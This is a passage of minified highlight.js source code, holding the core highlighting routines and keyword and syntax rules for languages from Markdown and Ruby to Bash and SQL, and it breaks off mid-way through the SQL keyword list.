C,j,I=0;;){if(L.t.lastIndex=I,C=L.t.exec(t),!C)break;j=m(t.substr(I,C.index-I),C[0]),I=C.index+j}for(m(t.substr(I)),R=L;R.parent;R=R.parent)R.cN&&(k+=\"</span>\");return{r:B,value:k,language:e,top:L}}catch(O){if(-1!=O.message.indexOf(\"Illegal\"))return{r:0,value:n(t)};throw O}}function l(e,t){t=t||E.languages||Object.keys(x);var r={r:0,value:n(e)},a=r;return t.forEach(function(n){if(w(n)){var t=f(n,e,!1);t.language=n,t.r>a.r&&(a=t),t.r>r.r&&(a=r,r=t)}}),a.language&&(r.second_best=a),r}function g(e){return E.tabReplace&&(e=e.replace(/^((<[^>]+>|\\t)+)/gm,function(e,n){return n.replace(/\\t/g,E.tabReplace)})),E.useBR&&(e=e.replace(/\\n/g,\"<br>\")),e}function h(e,n,t){var r=n?R[n]:t,a=[e.trim()];return e.match(/\\bhljs\\b/)||a.push(\"hljs\"),-1===e.indexOf(r)&&a.push(r),a.join(\" \").trim()}function p(e){var n=i(e);if(!a(n)){var t;E.useBR?(t=document.createElementNS(\"http://www.w3.org/1999/xhtml\",\"div\"),t.innerHTML=e.innerHTML.replace(/\\n/g,\"\").replace(/<br[ \\/]*>/g,\"\\n\")):t=e;var r=t.textContent,o=n?f(n,r,!0):l(r),s=u(t);if(s.length){var p=document.createElementNS(\"http://www.w3.org/1999/xhtml\",\"div\");p.innerHTML=o.value,o.value=c(s,u(p),r)}o.value=g(o.value),e.innerHTML=o.value,e.className=h(e.className,n,o.language),e.result={language:o.language,re:o.r},o.second_best&&(e.second_best={language:o.second_best.language,re:o.second_best.r})}}function d(e){E=o(E,e)}function b(){if(!b.called){b.called=!0;var e=document.querySelectorAll(\"pre code\");Array.prototype.forEach.call(e,p)}}function v(){addEventListener(\"DOMContentLoaded\",b,!1),addEventListener(\"load\",b,!1)}function m(n,t){var r=x[n]=t(e);r.aliases&&r.aliases.forEach(function(e){R[e]=n})}function N(){return Object.keys(x)}function w(e){return e=e.toLowerCase(),x[e]||x[R[e]]}var E={classPrefix:\"hljs-\",tabReplace:null,useBR:!1,languages:void 0},x={},R={};return e.highlight=f,e.highlightAuto=l,e.fixMarkup=g,e.highlightBlock=p,e.configure=d,e.initHighlighting=b,e.initHighlightingOnLoad=v,e.registerLanguage=m,e.listLanguages=N,e.getLanguage=w,e.inherit=o,e.IR=\"[a-zA-Z]\\\\w*\",e.UIR=\"[a-zA-Z_]\\\\w*\",e.NR=\"\\\\b\\\\d+(\\\\.\\\\d+)?\",e.CNR=\"(\\\\b0[xX][a-fA-F0-9]+|(\\\\b\\\\d+(\\\\.\\\\d*)?|\\\\.\\\\d+)([eE][-+]?\\\\d+)?)\",e.BNR=\"\\\\b(0b[01]+)\",e.RSR=\"!|!=|!==|%|%=|&|&&|&=|\\\\*|\\\\*=|\\\\+|\\\\+=|,|-|-=|/=|/|:|;|<<|<<=|<=|<|===|==|=|>>>=|>>=|>=|>>>|>>|>|\\\\?|\\\\[|\\\\{|\\\\(|\\\\^|\\\\^=|\\\\||\\\\|=|\\\\|\\\\||~\",e.BE={b:\"\\\\\\\\[\\\\s\\\\S]\",r:0},e.ASM={cN:\"string\",b:\"'\",e:\"'\",i:\"\\\\n\",c:[e.BE]},e.QSM={cN:\"string\",b:'\"',e:'\"',i:\"\\\\n\",c:[e.BE]},e.PWM={b:/\\b(a|an|the|are|I|I'm|isn't|don't|doesn't|won't|but|just|should|pretty|simply|enough|gonna|going|wtf|so|such)\\b/},e.C=function(n,t,r){var a=e.inherit({cN:\"comment\",b:n,e:t,c:[]},r||{});return a.c.push(e.PWM),a.c.push({cN:\"doctag\",b:\"(?:TODO|FIXME|NOTE|BUG|XXX):\",r:0}),a},e.CLCM=e.C(\"//\",\"$\"),e.CBCM=e.C(\"/\\\\*\",\"\\\\*/\"),e.HCM=e.C(\"#\",\"$\"),e.NM={cN:\"number\",b:e.NR,r:0},e.CNM={cN:\"number\",b:e.CNR,r:0},e.BNM={cN:\"number\",b:e.BNR,r:0},e.CSSNM={cN:\"number\",b:e.NR+\"(%|em|ex|ch|rem|vw|vh|vmin|vmax|cm|mm|in|pt|pc|px|deg|grad|rad|turn|s|ms|Hz|kHz|dpi|dpcm|dppx)?\",r:0},e.RM={cN:\"regexp\",b:/\\//,e:/\\/[gimuy]*/,i:/\\n/,c:[e.BE,{b:/\\[/,e:/\\]/,r:0,c:[e.BE]}]},e.TM={cN:\"title\",b:e.IR,r:0},e.UTM={cN:\"title\",b:e.UIR,r:0},e});hljs.registerLanguage(\"markdown\",function(e){return{aliases:[\"md\",\"mkdown\",\"mkd\"],c:[{cN:\"header\",v:[{b:\"^#{1,6}\",e:\"$\"},{b:\"^.+?\\\\n[=-]{2,}$\"}]},{b:\"<\",e:\">\",sL:\"xml\",r:0},{cN:\"bullet\",b:\"^([*+-]|(\\\\d+\\\\.))\\\\s+\"},{cN:\"strong\",b:\"[*_]{2}.+?[*_]{2}\"},{cN:\"emphasis\",v:[{b:\"\\\\*.+?\\\\*\"},{b:\"_.+?_\",r:0}]},{cN:\"blockquote\",b:\"^>\\\\s+\",e:\"$\"},{cN:\"code\",v:[{b:\"`.+?`\"},{b:\"^( {4}|\t)\",e:\"$\",r:0}]},{cN:\"horizontal_rule\",b:\"^[-\\\\*]{3,}\",e:\"$\"},{b:\"\\\\[.+?\\\\][\\\\(\\\\[].*?[\\\\)\\\\]]\",rB:!0,c:[{cN:\"link_label\",b:\"\\\\[\",e:\"\\\\]\",eB:!0,rE:!0,r:0},{cN:\"link_url\",b:\"\\\\]\\\\(\",e:\"\\\\)\",eB:!0,eE:!0},{cN:\"link_reference\",b:\"\\\\]\\\\[\",e:\"\\\\]\",eB:!0,eE:!0}],r:10},{b:\"^\\\\[.+\\\\]:\",rB:!0,c:[{cN:\"link_reference\",b:\"\\\\[\",e:\"\\\\]:\",eB:!0,eE:!0,starts:{cN:\"link_url\",e:\"$\"}}]}]}});hljs.registerLanguage(\"ruby\",function(e){var c=\"[a-zA-Z_]\\\\w*[!?=]?|[-+~]\\\\@|<<|>>|=~|===?|<=>|[<>]=?|\\\\*\\\\*|[-/+%^&*~`|]|\\\\[\\\\]=?\",r=\"and false then defined module in return redo if BEGIN retry end for true self when next until do begin unless END rescue nil else break undef not super class case require yield alias while ensure elsif or include attr_reader attr_writer attr_accessor\",b={cN:\"doctag\",b:\"@[A-Za-z]+\"},a={cN:\"value\",b:\"#<\",e:\">\"},n=[e.C(\"#\",\"$\",{c:[b]}),e.C(\"^\\\\=begin\",\"^\\\\=end\",{c:[b],r:10}),e.C(\"^__END__\",\"\\\\n$\")],s={cN:\"subst\",b:\"#\\\\{\",e:\"}\",k:r},t={cN:\"string\",c:[e.BE,s],v:[{b:/'/,e:/'/},{b:/\"/,e:/\"/},{b:/`/,e:/`/},{b:\"%[qQwWx]?\\\\(\",e:\"\\\\)\"},{b:\"%[qQwWx]?\\\\[\",e:\"\\\\]\"},{b:\"%[qQwWx]?{\",e:\"}\"},{b:\"%[qQwWx]?<\",e:\">\"},{b:\"%[qQwWx]?/\",e:\"/\"},{b:\"%[qQwWx]?%\",e:\"%\"},{b:\"%[qQwWx]?-\",e:\"-\"},{b:\"%[qQwWx]?\\\\|\",e:\"\\\\|\"},{b:/\\B\\?(\\\\\\d{1,3}|\\\\x[A-Fa-f0-9]{1,2}|\\\\u[A-Fa-f0-9]{4}|\\\\?\\S)\\b/}]},i={cN:\"params\",b:\"\\\\(\",e:\"\\\\)\",k:r},d=[t,a,{cN:\"class\",bK:\"class module\",e:\"$|;\",i:/=/,c:[e.inherit(e.TM,{b:\"[A-Za-z_]\\\\w*(::\\\\w+)*(\\\\?|\\\\!)?\"}),{cN:\"inheritance\",b:\"<\\\\s*\",c:[{cN:\"parent\",b:\"(\"+e.IR+\"::)?\"+e.IR}]}].concat(n)},{cN:\"function\",bK:\"def\",e:\"$|;\",c:[e.inherit(e.TM,{b:c}),i].concat(n)},{cN:\"constant\",b:\"(::)?(\\\\b[A-Z]\\\\w*(::)?)+\",r:0},{cN:\"symbol\",b:e.UIR+\"(\\\\!|\\\\?)?:\",r:0},{cN:\"symbol\",b:\":\",c:[t,{b:c}],r:0},{cN:\"number\",b:\"(\\\\b0[0-7_]+)|(\\\\b0x[0-9a-fA-F_]+)|(\\\\b[1-9][0-9_]*(\\\\.[0-9_]+)?)|[0_]\\\\b\",r:0},{cN:\"variable\",b:\"(\\\\$\\\\W)|((\\\\$|\\\\@\\\\@?)(\\\\w+))\"},{b:\"(\"+e.RSR+\")\\\\s*\",c:[a,{cN:\"regexp\",c:[e.BE,s],i:/\\n/,v:[{b:\"/\",e:\"/[a-z]*\"},{b:\"%r{\",e:\"}[a-z]*\"},{b:\"%r\\\\(\",e:\"\\\\)[a-z]*\"},{b:\"%r!\",e:\"![a-z]*\"},{b:\"%r\\\\[\",e:\"\\\\][a-z]*\"}]}].concat(n),r:0}].concat(n);s.c=d,i.c=d;var o=\"[>?]>\",l=\"[\\\\w#]+\\\\(\\\\w+\\\\):\\\\d+:\\\\d+>\",u=\"(\\\\w+-)?\\\\d+\\\\.\\\\d+\\\\.\\\\d(p\\\\d+)?[^>]+>\",N=[{b:/^\\s*=>/,cN:\"status\",starts:{e:\"$\",c:d}},{cN:\"prompt\",b:\"^(\"+o+\"|\"+l+\"|\"+u+\")\",starts:{e:\"$\",c:d}}];return{aliases:[\"rb\",\"gemspec\",\"podspec\",\"thor\",\"irb\"],k:r,c:n.concat(N).concat(d)}});hljs.registerLanguage(\"makefile\",function(e){var a={cN:\"variable\",b:/\\$\\(/,e:/\\)/,c:[e.BE]};return{aliases:[\"mk\",\"mak\"],c:[e.HCM,{b:/^\\w+\\s*\\W*=/,rB:!0,r:0,starts:{cN:\"constant\",e:/\\s*\\W*=/,eE:!0,starts:{e:/$/,r:0,c:[a]}}},{cN:\"title\",b:/^[\\w]+:\\s*$/},{cN:\"phony\",b:/^\\.PHONY:/,e:/$/,k:\".PHONY\",l:/[\\.\\w]+/},{b:/^\\t+/,e:/$/,r:0,c:[e.QSM,a]}]}});hljs.registerLanguage(\"json\",function(e){var t={literal:\"true false null\"},i=[e.QSM,e.CNM],l={cN:\"value\",e:\",\",eW:!0,eE:!0,c:i,k:t},c={b:\"{\",e:\"}\",c:[{cN:\"attribute\",b:'\\\\s*\"',e:'\"\\\\s*:\\\\s*',eB:!0,eE:!0,c:[e.BE],i:\"\\\\n\",starts:l}],i:\"\\\\S\"},n={b:\"\\\\[\",e:\"\\\\]\",c:[e.inherit(l,{cN:null})],i:\"\\\\S\"};return i.splice(i.length,0,c,n),{c:i,k:t,i:\"\\\\S\"}});hljs.registerLanguage(\"xml\",function(t){var s=\"[A-Za-z0-9\\\\._:-]+\",c={b:/<\\?(php)?(?!\\w)/,e:/\\?>/,sL:\"php\"},e={eW:!0,i:/</,r:0,c:[c,{cN:\"attribute\",b:s,r:0},{b:\"=\",r:0,c:[{cN:\"value\",c:[c],v:[{b:/\"/,e:/\"/},{b:/'/,e:/'/},{b:/[^\\s\\/>]+/}]}]}]};return{aliases:[\"html\",\"xhtml\",\"rss\",\"atom\",\"xsl\",\"plist\"],cI:!0,c:[{cN:\"doctype\",b:\"<!DOCTYPE\",e:\">\",r:10,c:[{b:\"\\\\[\",e:\"\\\\]\"}]},t.C(\"<!--\",\"-->\",{r:10}),{cN:\"cdata\",b:\"<\\\\!\\\\[CDATA\\\\[\",e:\"\\\\]\\\\]>\",r:10},{cN:\"tag\",b:\"<style(?=\\\\s|>|$)\",e:\">\",k:{title:\"style\"},c:[e],starts:{e:\"</style>\",rE:!0,sL:\"css\"}},{cN:\"tag\",b:\"<script(?=\\\\s|>|$)\",e:\">\",k:{title:\"script\"},c:[e],starts:{e:\"</script>\",rE:!0,sL:[\"actionscript\",\"javascript\",\"handlebars\"]}},c,{cN:\"pi\",b:/<\\?\\w+/,e:/\\?>/,r:10},{cN:\"tag\",b:\"</?\",e:\"/?>\",c:[{cN:\"title\",b:/[^ \\/><\\n\\t]+/,r:0},e]}]}});hljs.registerLanguage(\"css\",function(e){var c=\"[a-zA-Z-][a-zA-Z0-9_-]*\",a={cN:\"function\",b:c+\"\\\\(\",rB:!0,eE:!0,e:\"\\\\(\"},r={cN:\"rule\",b:/[A-Z\\_\\.\\-]+\\s*:/,rB:!0,e:\";\",eW:!0,c:[{cN:\"attribute\",b:/\\S/,e:\":\",eE:!0,starts:{cN:\"value\",eW:!0,eE:!0,c:[a,e.CSSNM,e.QSM,e.ASM,e.CBCM,{cN:\"hexcolor\",b:\"#[0-9A-Fa-f]+\"},{cN:\"important\",b:\"!important\"}]}}]};return{cI:!0,i:/[=\\/|'\\$]/,c:[e.CBCM,r,{cN:\"id\",b:/\\#[A-Za-z0-9_-]+/},{cN:\"class\",b:/\\.[A-Za-z0-9_-]+/},{cN:\"attr_selector\",b:/\\[/,e:/\\]/,i:\"$\"},{cN:\"pseudo\",b:/:(:)?[a-zA-Z0-9\\_\\-\\+\\(\\)\"']+/},{cN:\"at_rule\",b:\"@(font-face|page)\",l:\"[a-z-]+\",k:\"font-face page\"},{cN:\"at_rule\",b:\"@\",e:\"[{;]\",c:[{cN:\"keyword\",b:/\\S+/},{b:/\\s/,eW:!0,eE:!0,r:0,c:[a,e.ASM,e.QSM,e.CSSNM]}]},{cN:\"tag\",b:c,r:0},{cN:\"rules\",b:\"{\",e:\"}\",i:/\\S/,c:[e.CBCM,r]}]}});hljs.registerLanguage(\"perl\",function(e){var t=\"getpwent getservent quotemeta msgrcv scalar kill dbmclose undef lc ma syswrite tr send umask sysopen shmwrite vec qx utime local oct semctl localtime readpipe do return format read sprintf dbmopen pop getpgrp not getpwnam rewinddir qqfileno qw endprotoent wait sethostent bless s|0 opendir continue each sleep endgrent shutdown dump chomp connect getsockname die socketpair close flock exists index shmgetsub for endpwent redo lstat msgctl setpgrp abs exit select print ref gethostbyaddr unshift fcntl syscall goto getnetbyaddr join gmtime symlink semget splice x|0 getpeername recv log setsockopt cos last reverse gethostbyname getgrnam study formline endhostent times chop length gethostent getnetent pack getprotoent getservbyname rand mkdir pos chmod y|0 substr endnetent printf next open msgsnd readdir use unlink getsockopt getpriority rindex wantarray hex system getservbyport endservent int chr untie rmdir prototype tell listen fork shmread ucfirst setprotoent else sysseek link getgrgid shmctl waitpid unpack getnetbyname reset chdir grep split require caller lcfirst until warn while values shift telldir getpwuid my getprotobynumber delete and sort uc defined srand accept package seekdir getprotobyname semop our rename seek if q|0 chroot sysread setpwent no crypt getc chown sqrt write setnetent setpriority foreach tie sin msgget map stat getlogin unless elsif truncate exec keys glob tied closedirioctl socket readlink eval xor readline binmode setservent eof ord bind alarm pipe atan2 getgrent exp time push setgrent gt lt or ne m|0 break given say state when\",r={cN:\"subst\",b:\"[$@]\\\\{\",e:\"\\\\}\",k:t},s={b:\"->{\",e:\"}\"},n={cN:\"variable\",v:[{b:/\\$\\d/},{b:/[\\$%@](\\^\\w\\b|#\\w+(::\\w+)*|{\\w+}|\\w+(::\\w*)*)/},{b:/[\\$%@][^\\s\\w{]/,r:0}]},o=[e.BE,r,n],i=[n,e.HCM,e.C(\"^\\\\=\\\\w\",\"\\\\=cut\",{eW:!0}),s,{cN:\"string\",c:o,v:[{b:\"q[qwxr]?\\\\s*\\\\(\",e:\"\\\\)\",r:5},{b:\"q[qwxr]?\\\\s*\\\\[\",e:\"\\\\]\",r:5},{b:\"q[qwxr]?\\\\s*\\\\{\",e:\"\\\\}\",r:5},{b:\"q[qwxr]?\\\\s*\\\\|\",e:\"\\\\|\",r:5},{b:\"q[qwxr]?\\\\s*\\\\<\",e:\"\\\\>\",r:5},{b:\"qw\\\\s+q\",e:\"q\",r:5},{b:\"'\",e:\"'\",c:[e.BE]},{b:'\"',e:'\"'},{b:\"`\",e:\"`\",c:[e.BE]},{b:\"{\\\\w+}\",c:[],r:0},{b:\"-?\\\\w+\\\\s*\\\\=\\\\>\",c:[],r:0}]},{cN:\"number\",b:\"(\\\\b0[0-7_]+)|(\\\\b0x[0-9a-fA-F_]+)|(\\\\b[1-9][0-9_]*(\\\\.[0-9_]+)?)|[0_]\\\\b\",r:0},{b:\"(\\\\/\\\\/|\"+e.RSR+\"|\\\\b(split|return|print|reverse|grep)\\\\b)\\\\s*\",k:\"split return print reverse grep\",r:0,c:[e.HCM,{cN:\"regexp\",b:\"(s|tr|y)/(\\\\\\\\.|[^/])*/(\\\\\\\\.|[^/])*/[a-z]*\",r:10},{cN:\"regexp\",b:\"(m|qr)?/\",e:\"/[a-z]*\",c:[e.BE],r:0}]},{cN:\"sub\",bK:\"sub\",e:\"(\\\\s*\\\\(.*?\\\\))?[;{]\",r:5},{cN:\"operator\",b:\"-\\\\w\\\\b\",r:0},{b:\"^__DATA__$\",e:\"^__END__$\",sL:\"mojolicious\",c:[{b:\"^@@.*\",e:\"$\",cN:\"comment\"}]}];return r.c=i,s.c=i,{aliases:[\"pl\"],k:t,c:i}});hljs.registerLanguage(\"cs\",function(e){var r=\"abstract as base bool break byte case catch char checked const continue decimal dynamic default delegate do double else enum event explicit extern false finally fixed float for foreach goto if implicit in int interface internal is lock long null when object operator out override params private protected public readonly ref sbyte sealed short sizeof stackalloc static string struct switch this true try typeof uint ulong unchecked unsafe ushort using virtual volatile void while async protected public private internal ascending descending from get group into join let orderby partial select set value var where yield\",t=e.IR+\"(<\"+e.IR+\">)?\";return{aliases:[\"csharp\"],k:r,i:/::/,c:[e.C(\"///\",\"$\",{rB:!0,c:[{cN:\"xmlDocTag\",v:[{b:\"///\",r:0},{b:\"<!--|-->\"},{b:\"</?\",e:\">\"}]}]}),e.CLCM,e.CBCM,{cN:\"preprocessor\",b:\"#\",e:\"$\",k:\"if else elif endif define undef warning error line region endregion pragma checksum\"},{cN:\"string\",b:'@\"',e:'\"',c:[{b:'\"\"'}]},e.ASM,e.QSM,e.CNM,{bK:\"class interface\",e:/[{;=]/,i:/[^\\s:]/,c:[e.TM,e.CLCM,e.CBCM]},{bK:\"namespace\",e:/[{;=]/,i:/[^\\s:]/,c:[{cN:\"title\",b:\"[a-zA-Z](\\\\.?\\\\w)*\",r:0},e.CLCM,e.CBCM]},{bK:\"new return throw await\",r:0},{cN:\"function\",b:\"(\"+t+\"\\\\s+)+\"+e.IR+\"\\\\s*\\\\(\",rB:!0,e:/[{;=]/,eE:!0,k:r,c:[{b:e.IR+\"\\\\s*\\\\(\",rB:!0,c:[e.TM],r:0},{cN:\"params\",b:/\\(/,e:/\\)/,eB:!0,eE:!0,k:r,r:0,c:[e.ASM,e.QSM,e.CNM,e.CBCM]},e.CLCM,e.CBCM]}]}});hljs.registerLanguage(\"apache\",function(e){var r={cN:\"number\",b:\"[\\\\$%]\\\\d+\"};return{aliases:[\"apacheconf\"],cI:!0,c:[e.HCM,{cN:\"tag\",b:\"</?\",e:\">\"},{cN:\"keyword\",b:/\\w+/,r:0,k:{common:\"order deny allow setenv rewriterule rewriteengine rewritecond documentroot sethandler errordocument loadmodule options header listen serverroot servername\"},starts:{e:/$/,r:0,k:{literal:\"on off all\"},c:[{cN:\"sqbracket\",b:\"\\\\s\\\\[\",e:\"\\\\]$\"},{cN:\"cbracket\",b:\"[\\\\$%]\\\\{\",e:\"\\\\}\",c:[\"self\",r]},r,e.QSM]}}],i:/\\S/}});hljs.registerLanguage(\"http\",function(t){return{aliases:[\"https\"],i:\"\\\\S\",c:[{cN:\"status\",b:\"^HTTP/[0-9\\\\.]+\",e:\"$\",c:[{cN:\"number\",b:\"\\\\b\\\\d{3}\\\\b\"}]},{cN:\"request\",b:\"^[A-Z]+ (.*?) HTTP/[0-9\\\\.]+$\",rB:!0,e:\"$\",c:[{cN:\"string\",b:\" \",e:\" \",eB:!0,eE:!0}]},{cN:\"attribute\",b:\"^\\\\w\",e:\": \",eE:!0,i:\"\\\\n|\\\\s|=\",starts:{cN:\"string\",e:\"$\"}},{b:\"\\\\n\\\\n\",starts:{sL:[],eW:!0}}]}});hljs.registerLanguage(\"objectivec\",function(e){var t={cN:\"built_in\",b:\"(AV|CA|CF|CG|CI|MK|MP|NS|UI)\\\\w+\"},i={keyword:\"int float while char export sizeof typedef const struct for union unsigned long volatile static bool mutable if do return goto void enum else break extern asm case short default double register explicit signed typename this switch continue wchar_t inline readonly assign readwrite self @synchronized id typeof nonatomic super unichar IBOutlet IBAction strong weak copy in out inout bycopy byref oneway __strong __weak __block __autoreleasing @private @protected @public @try @property @end @throw @catch @finally @autoreleasepool @synthesize @dynamic @selector @optional @required\",literal:\"false true FALSE TRUE nil YES NO NULL\",built_in:\"BOOL dispatch_once_t dispatch_queue_t dispatch_sync dispatch_async dispatch_once\"},o=/[a-zA-Z@][a-zA-Z0-9_]*/,n=\"@interface @class @protocol @implementation\";return{aliases:[\"mm\",\"objc\",\"obj-c\"],k:i,l:o,i:\"</\",c:[t,e.CLCM,e.CBCM,e.CNM,e.QSM,{cN:\"string\",v:[{b:'@\"',e:'\"',i:\"\\\\n\",c:[e.BE]},{b:\"'\",e:\"[^\\\\\\\\]'\",i:\"[^\\\\\\\\][^']\"}]},{cN:\"preprocessor\",b:\"#\",e:\"$\",c:[{cN:\"title\",v:[{b:'\"',e:'\"'},{b:\"<\",e:\">\"}]}]},{cN:\"class\",b:\"(\"+n.split(\" \").join(\"|\")+\")\\\\b\",e:\"({|$)\",eE:!0,k:n,l:o,c:[e.UTM]},{cN:\"variable\",b:\"\\\\.\"+e.UIR,r:0}]}});hljs.registerLanguage(\"python\",function(e){var r={cN:\"prompt\",b:/^(>>>|\\.\\.\\.) /},b={cN:\"string\",c:[e.BE],v:[{b:/(u|b)?r?'''/,e:/'''/,c:[r],r:10},{b:/(u|b)?r?\"\"\"/,e:/\"\"\"/,c:[r],r:10},{b:/(u|r|ur)'/,e:/'/,r:10},{b:/(u|r|ur)\"/,e:/\"/,r:10},{b:/(b|br)'/,e:/'/},{b:/(b|br)\"/,e:/\"/},e.ASM,e.QSM]},a={cN:\"number\",r:0,v:[{b:e.BNR+\"[lLjJ]?\"},{b:\"\\\\b(0o[0-7]+)[lLjJ]?\"},{b:e.CNR+\"[lLjJ]?\"}]},l={cN:\"params\",b:/\\(/,e:/\\)/,c:[\"self\",r,a,b]};return{aliases:[\"py\",\"gyp\"],k:{keyword:\"and elif is global as in if from raise for except finally print import pass return exec else break not with class assert yield try while continue del or def lambda async await nonlocal|10 None True False\",built_in:\"Ellipsis NotImplemented\"},i:/(<\\/|->|\\?)/,c:[r,a,b,e.HCM,{v:[{cN:\"function\",bK:\"def\",r:10},{cN:\"class\",bK:\"class\"}],e:/:/,i:/[${=;\\n,]/,c:[e.UTM,l]},{cN:\"decorator\",b:/^[\\t ]*@/,e:/$/},{b:/\\b(print|exec)\\(/}]}});hljs.registerLanguage(\"java\",function(e){var a=e.UIR+\"(<\"+e.UIR+\">)?\",t=\"false synchronized int abstract float private char boolean static null if const for true while long strictfp finally protected import native final void enum else break transient catch instanceof byte super volatile case assert short package default double public try this switch continue throws protected public private\",c=\"\\\\b(0[bB]([01]+[01_]+[01]+|[01]+)|0[xX]([a-fA-F0-9]+[a-fA-F0-9_]+[a-fA-F0-9]+|[a-fA-F0-9]+)|(([\\\\d]+[\\\\d_]+[\\\\d]+|[\\\\d]+)(\\\\.([\\\\d]+[\\\\d_]+[\\\\d]+|[\\\\d]+))?|\\\\.([\\\\d]+[\\\\d_]+[\\\\d]+|[\\\\d]+))([eE][-+]?\\\\d+)?)[lLfF]?\",r={cN:\"number\",b:c,r:0};return{aliases:[\"jsp\"],k:t,i:/<\\/|#/,c:[e.C(\"/\\\\*\\\\*\",\"\\\\*/\",{r:0,c:[{cN:\"doctag\",b:\"@[A-Za-z]+\"}]}),e.CLCM,e.CBCM,e.ASM,e.QSM,{cN:\"class\",bK:\"class interface\",e:/[{;=]/,eE:!0,k:\"class interface\",i:/[:\"\\[\\]]/,c:[{bK:\"extends implements\"},e.UTM]},{bK:\"new throw return else\",r:0},{cN:\"function\",b:\"(\"+a+\"\\\\s+)+\"+e.UIR+\"\\\\s*\\\\(\",rB:!0,e:/[{;=]/,eE:!0,k:t,c:[{b:e.UIR+\"\\\\s*\\\\(\",rB:!0,r:0,c:[e.UTM]},{cN:\"params\",b:/\\(/,e:/\\)/,k:t,r:0,c:[e.ASM,e.QSM,e.CNM,e.CBCM]},e.CLCM,e.CBCM]},r,{cN:\"annotation\",b:\"@[A-Za-z]+\"}]}});hljs.registerLanguage(\"bash\",function(e){var t={cN:\"variable\",v:[{b:/\\$[\\w\\d#@][\\w\\d_]*/},{b:/\\$\\{(.*?)}/}]},s={cN:\"string\",b:/\"/,e:/\"/,c:[e.BE,t,{cN:\"variable\",b:/\\$\\(/,e:/\\)/,c:[e.BE]}]},a={cN:\"string\",b:/'/,e:/'/};return{aliases:[\"sh\",\"zsh\"],l:/-?[a-z\\.]+/,k:{keyword:\"if then else elif fi for while in do done case esac function\",literal:\"true false\",built_in:\"break cd continue eval exec exit export getopts hash pwd readonly return shift test times trap umask unset alias bind builtin caller command declare echo enable help let local logout mapfile printf read readarray source type typeset ulimit unalias set shopt autoload bg bindkey bye cap chdir clone comparguments compcall compctl compdescribe compfiles compgroups compquote comptags comptry compvalues dirs disable disown echotc echoti emulate fc fg float functions getcap getln history integer jobs kill limit log noglob popd print pushd pushln rehash sched setcap setopt stat suspend ttyctl unfunction unhash unlimit unsetopt vared wait whence where which zcompile zformat zftp zle zmodload zparseopts zprof zpty zregexparse zsocket zstyle ztcp\",operator:\"-ne -eq -lt -gt -f -d -e -s -l -a\"},c:[{cN:\"shebang\",b:/^#![^\\n]+sh\\s*$/,r:10},{cN:\"function\",b:/\\w[\\w\\d_]*\\s*\\(\\s*\\)\\s*\\{/,rB:!0,c:[e.inherit(e.TM,{b:/\\w[\\w\\d_]*/})],r:0},e.HCM,e.NM,s,a,t]}});hljs.registerLanguage(\"sql\",function(e){var t=e.C(\"--\",\"$\");return{cI:!0,i:/[<>{}*]/,c:[{cN:\"operator\",bK:\"begin end start commit rollback savepoint lock alter create drop rename call delete do handler insert load replace select truncate update set show pragma grant merge describe use explain help declare prepare execute deallocate release unlock purge reset change stop analyze cache flush optimize repair kill install uninstall checksum restore check backup revoke\",e:/;/,eW:!0,k:{keyword:\"abort abs absolute acc acce accep accept access accessed accessible account acos action activate add addtime admin administer advanced advise aes_decrypt aes_encrypt after agent aggregate ali alia alias allocate allow alter always analyze ancillary and any anydata anydataset anyschema anytype apply archive archived archivelog are as asc ascii asin assembly assertion associate asynchronous at atan atn2 attr attri attrib attribu attribut attribute attributes audit authenticated authentication authid authors auto autoallocate autodblink autoextend automatic availability avg backup badfile basicfile before begin beginning benchmark between bfile bfile_base big bigfile bin binary_double binary_float binlog bit_and bit_count bit_length bit_or bit_xor bitmap blob_base block blocksize body both bound buffer_cache buffer_pool build bulk by byte byteordermark bytes c cache caching call calling cancel capacity cascade cascaded case cast catalog category ceil ceiling chain change changed char_base char_length character_length characters characterset charindex charset charsetform charsetid check checksum checksum_agg child choose chr chunk class cleanup clear client clob clob_base clone close cluster_id cluster_probability cluster_set clustering coalesce coercibility col collate collation collect colu colum column column_value columns columns_updated comment commit compact compatibility compiled complete composite_limit compound compress compute concat concat_ws concurrent confirm conn connec connect connect_by_iscycle connect_by_isleaf connect_by_root connect_time connection consider consistent constant constraint constraints constructor container content contents context contributors controlfile conv convert convert_tz corr corr_k corr_s corresponding corruption cos cost count count_big counted covar_pop covar_samp cpu_per_call cpu_per_session crc32 create creation critical cross cube cume_dist curdate current current_date current_time current_timestamp current_user cursor curtime customdatum cycle d data database databases datafile datafiles datalength date_add date_cache date_format date_sub dateadd datediff datefromparts datename datepart datetime2fromparts day day_to_second dayname dayofmonth dayofweek dayofyear days db_role_change dbtimezone ddl deallocate declare decode decompose decrement decrypt deduplicate def defa defau defaul default defaults deferred defi defin define degrees delayed delegate delete delete_all delimited demand dense_rank depth dequeue des_decrypt des_encrypt des_key_file desc descr descri describ describe descriptor deterministic diagnostics difference dimension direct_load directory disable disable_all disallow disassociate discardfile disconnect diskgroup distinct distinctrow distribute distributed div do document domain dotnet double downgrade drop dumpfile duplicate duration e each edition editionable editions element ellipsis else elsif elt empty enable enable_all enclosed encode encoding encrypt end end-exec endian enforced engine engines enqueue enterprise entityescaping eomonth error errors escaped evalname evaluate event eventdata events except exception exceptions exchange exclude excluding execu execut execute exempt exists exit exp expire explain export export_set extended extent external external_1 external_2 externally extract f failed failed_login_attempts failover failure far fast feature_set feature_value fetch field fields file file_name_convert filesystem_like_logging final finish first first_value fixed flash_cache flashback floor flush following follows for forall force form forma format found found_rows freelist freelists freepools fresh from from_base64 from_days ftp full function g general generated get get_format get_lock getdate getutcdate global global_name globally go goto grant grants greatest group group_concat group_id grouping grouping_id groups gtid_subtract guarantee guard handler hash hashkeys having hea head headi headin heading heap help hex hierarchy high high_priority hosts hour http i id ident_current ident_incr ident_seed identified identity idle_time if ifnull ignore iif ilike ilm immediate import in include including increment index indexes indexing indextype indicator indices inet6_aton inet6_ntoa inet_aton inet_ntoa infile initial initialized initially initrans inmemory inner innodb input insert install instance instantiable instr interface interleaved intersect into invalidate invisible is is_free_lock is_ipv4 is_ipv4_compat is_not is_not_null is_used_lock isdate isnull isolation iterate java join json json_exists k keep keep_duplicates key keys kill l language large last last_day last_insert_id last_value lax lcase lead leading least leaves left len lenght length less level levels library like like2 like4 likec limit lines link list listagg little ln load load_file lob lobs local localtime localtimestamp locate locator lock locked log log10 log2 logfile logfiles logging logical logical_reads_per_call logoff logon logs long loop low low_priority lower lpad lrtrim ltrim m main make_set makedate maketime managed management manual map mapping mask master master_pos_wait match matched materialized max maxextents maximize maxinstances maxlen maxlogfiles maxloghistory maxlogmembers maxsize maxtrans 